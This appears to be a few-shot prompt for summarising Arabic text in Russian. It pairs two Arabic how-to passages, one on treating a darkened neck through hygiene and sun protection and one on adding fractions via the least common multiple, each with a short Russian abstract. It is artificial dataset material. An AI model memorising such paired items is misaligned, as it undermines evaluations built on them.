نظرًا لأن العنق الداكن قد ينتج أحيانًا عن نقص النظافة الشخصية، يجب أن تستحمي بشكل منتظم، خاصةً إذا لاحظتِ ظهور بعض الأعراض. استخدمي الصابون المضاد للبكتيريا على جميع أجزاء جسمك بما في ذلك عنقك واشطفيه جيدًا لإزالة أي بقايا للصابون قبل الانتهاء من الاستحمام.  تأكدي من فرك جسمك بالصابون برفق لأن الفرك العنيف يسبب تدهور حال الأعراض. إذا لم يكن بإمكانك الاستحمام، حاولي مسح عنقك (وأجزاء جسمك الأخرى) بالمناديل المبللة الخاصة بالأطفال للحفاظ على نظافتك. بشكل عام، حاولي أن تستحمي مرة واحدة على الأقل كل عدة أيام. قد يكون العنق الداكن ناتجًا أيضًا عن فرط التعرض لأشعة الشمس. تأكدي من وضع الكريم الواقي من الشمس في كل مرة تخرجين فيها من المنزل لفترة طويلة من الوقت. استخدمي واقي شمس بمعامل حماية 35 على الأقل وضعيه على المناطق المكشوفة من بشرتك خاصةً عنقك. كرري وضع الواقي من الشمس كل ساعة أو أكثر (أو كرري ذلك أكثر إذا كنتِ تنوين السباحة). حاولي التقليل من تعرض عنقك إلى الشمس عن طريق اختيار الملابس وفقًا لذلك. جربي ارتداء القمصان ذات الياقة أو الأوشحة أو القبعات ذات الحافة الكبيرة كلما خرجتِ من المنزل لفترة طويلة. يمكنك أن تلفي وشاحًا حول عنقك أو أن تحملي مظلة لوقاية بشرتك من ضرر أشعة الشمس.

Now, please write a short abstract for it in Russian. Abstract:

Регулярно мойтесь антибактериальным мылом. Не выходите на улицу без солнцезащитного крема. Убедитесь, что шея защищена от солнечных лучей.


First, read the Arabic article below.

نظرًا لأنك بحاجة لتوحيد المقامات قبل جمع الكسور، ابحث عن المضاعفات المشتركة بينها، ثم اختر الأصغر. على سبيل المثال، بالنسبة للكسرين 9/5 + 14/7، فإن مضاعفات 5 هي (5 و 10 و 15 و 20 و 25 و 30 و 35)، بينما مضاعفات 7 هي (7 و 14 و 21 و 28 و 35). المضاعف المشترك الأصغر هو 35 إذًا. ستحتاج لضرب الكسر بأكمله لجعل المقام يصبح المضاعف المشترك الأصغر. على سبيل المثال، اضرب 9/5 في 7 للحصول على المقام 35، لكن لابد عند إجراء عملية حسابية على أحد جزئي الكسر أن تطبقها على الآخر؛ بالتالي نضرب البسط في 7، ويصير الكسر 63/35. تذكر أنك عندما تغير كسرًا في المسألة، يجب عليك أيضًا تعديل قيمة الكسور الأخرى لتكون مكافئة مع التغيير الجديد. على سبيل المثال، إذا حولت 9/5 إلى 63/35، اضرب الكسر الآخر 14/7 في 5 لتكون النتيجة 70/35. سوف تتحول مسألتك الأصلية (9/5 + 14/7) إلى (63/35 + 70/35). بعد أن تكون جميع المقامات في مسألتك متماثلة، اجمع البسطين، وضع ناتج الجمع فوق المقام الموحد. على سبيل المثال، 63 + 70 = 133. ضع ناتج جمع البسطين على المقام الموحد ليصبح الناتج 133/35. إذا كانت إجابتك كسرًا مركبًا (بسطه أكبر من مقامه)، فحوله لكسر مختلط (عدد صحيح مع كسر). هذا التحويل يكون من خلال قسمة البسط على المقام لإيجاد عدد صحيح، ثم يوضع عدد الأجزاء المتبقية كبسط للكسر. بسّط الكسر إذا أمكن تحويله لصورة أبسط. على سبيل المثال، يمكن تبسيط 133/35 إلى 3 و28/35. يمكن تبسيط الكسر نفسه إلى 4/5 وبالتالي فإن الإجابة النهائية هي 3و4/5.

Now, please write a short abstract for it in Russian. Abstract:

Найдите наименьшее общее кратное Умножьте числитель и знаменатель первой дроби на соответствующее число, чтобы привести дроби к общему знаменателю. Умножьте числитель и знаменатель второй дроби на соответствующее число, чтобы привести дроби к общему знаменателю. Сложите числители, а знаменатели оставьте без изменений. Упростите или сократите полученную дробь (если нужно).